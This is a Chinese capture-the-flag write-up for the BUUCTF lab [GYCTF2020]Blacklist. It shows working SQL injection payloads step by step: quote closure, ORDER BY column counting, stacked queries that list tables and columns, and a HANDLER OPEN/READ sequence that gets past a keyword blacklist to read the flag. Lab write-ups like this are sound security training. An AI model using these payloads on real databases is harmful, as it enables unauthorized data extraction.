BUUCTF在线评测-练习场-WebCTF习题[GYCTF2020]Blacklist1-flag获取、解析

解题思路

打开靶场,跟之前有一题很像,应该是一个出题人

,增强了靶场

提示黑名单对于我来说太薄弱了,不是吗?

上次题我记得用的是堆叠注入+预编译或者更改表名..这次估计把这两都过滤了

没关系,我们还是常规思路起手,先判断闭合,输入

复制代码
1'1'

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1''' at line 1

经典的单引号闭合了,去掉我们的1'和报错自动加的单引号,还剩下一个单引号。

永真尝试:

复制代码
1' or 1=1#

尝试输入姿势,1,2,114514,都是输入判断,下面的就是会输出的字符,没啥信息。

接下来爆列:

复制代码
1' order by 3#

error 1054 : Unknown column '3' in 'order clause'

1' order by 2#

2列正常回显,那么列数就是2,尝试看一下回显

复制代码
1' union select 1,2#

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

出来了过滤字符,展示一下上次过滤的字符

复制代码
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

嗯,把更改表名的rename还有prepare预编译过滤了,跟我前面想的差不多,但是堆叠还是没过滤,尝试堆叠

复制代码
1';show tables;#

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(8) "FlagHere"
}

array(1) {
  [0]=>
  string(5) "words"
}

出来了两个表,我估计跟上次差不多,words就是我们正在查的这个表,然后Flaghere是我们需要接近的表,但是这次预编译和更改表名的骚操作没有了。

我们再爆一下Flaghere的列:

复制代码
1'; show columns from `FlagHere`;#

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

可以看到有个Flag列是我们想要读取的,这里采用mysql特殊的sql语句,并不是标准语句:handler命令,需按顺序执行:

OPEN:打开表并建立访问通道

复制代码
HANDLER table_name OPEN [AS alias];  -- AS表示可以使用别名简化后续操作

READ :按索引或自然顺序读取数据

通过索引定位(支持范围查询):

复制代码
HANDLER tbl READ index_name = (value) [WHERE condition] [LIMIT n];

按索引顺序遍历(如全索引扫描):

复制代码
HANDLER tbl READ index_name {FIRST|NEXT|PREV|LAST} [LIMIT n];

自然行顺序扫描(类似全表扫描):

复制代码
HANDLER tbl READ {FIRST|NEXT} [LIMIT n];  -- 比索引扫描更快:cite[5]

CLOSE:关闭表释放资源

复制代码
HANDLER tbl CLOSE;

示例:逐行扫描表并筛选年龄为25的记录

复制代码
HANDLER user OPEN;
HANDLER user READ age_index = (25) LIMIT 5;  -- 返回最多5条匹配记录
HANDLER user CLOSE;

下面利用堆叠注入,制造我们的payload,这里使用自然行顺序扫描,不知道具体数据,所以前两个索引扫描用不到。

复制代码
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ NEXT;HANDLER FlagHere CLOSE;#

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(42) "flag{94e2684c-5c5e-4720-b06c-5ca87179f246}"
}

成功获取Flag

总结

跟上一题考察内容差不多吧,就是考察一些更偏的命令,这次是handler

相关推荐
lingggggaaaa1 小时前
小迪安全v2023学习笔记(七十八讲)—— 数据库安全&Redis&CouchDB&H2database&未授权&CVE
redis·笔记·学习·算法·安全·网络安全·couchdb
黄焖鸡能干四碗6 小时前
信息系统安全保护措施文件方案
大数据·开发语言·人工智能·web安全·制造
塔子终结者6 小时前
网络安全A模块专项练习任务十解析
java·服务器·网络安全
2301_780789667 小时前
渗透测试与网络安全审计的关系
网络·数据库·安全·web安全·网络安全
王火火(DDoS CC防护)8 小时前
服务器IP暴露被攻击了怎么办?
服务器·网络安全·ddos攻击
卓码软件测评11 小时前
第三方web测评机构:【WEB安全测试中HTTP方法(GET/POST/PUT)的安全风险检测】
前端·网络协议·安全·web安全·http·xss
2401_8653825012 小时前
各省市信息化项目管理办法中的网络安全等级保护如何规定的?
网络安全·信息化项目·项目审批
似水流年 光阴已逝19 小时前
《网络安全实战:CC攻击(应用层)与DDoS攻击(网络层)的底层逻辑与防御体系》
安全·web安全·ddos·网络攻击·安全防护·cc攻击
墨染 殇雪19 小时前
文件上传漏洞基础及挖掘流程
网络安全·漏洞分析·漏洞挖掘·安全机制
网络安全大学堂20 小时前
【网络安全入门基础教程】网络安全零基础学习方向及需要掌握的技能
网络·学习·安全·web安全·网络安全·黑客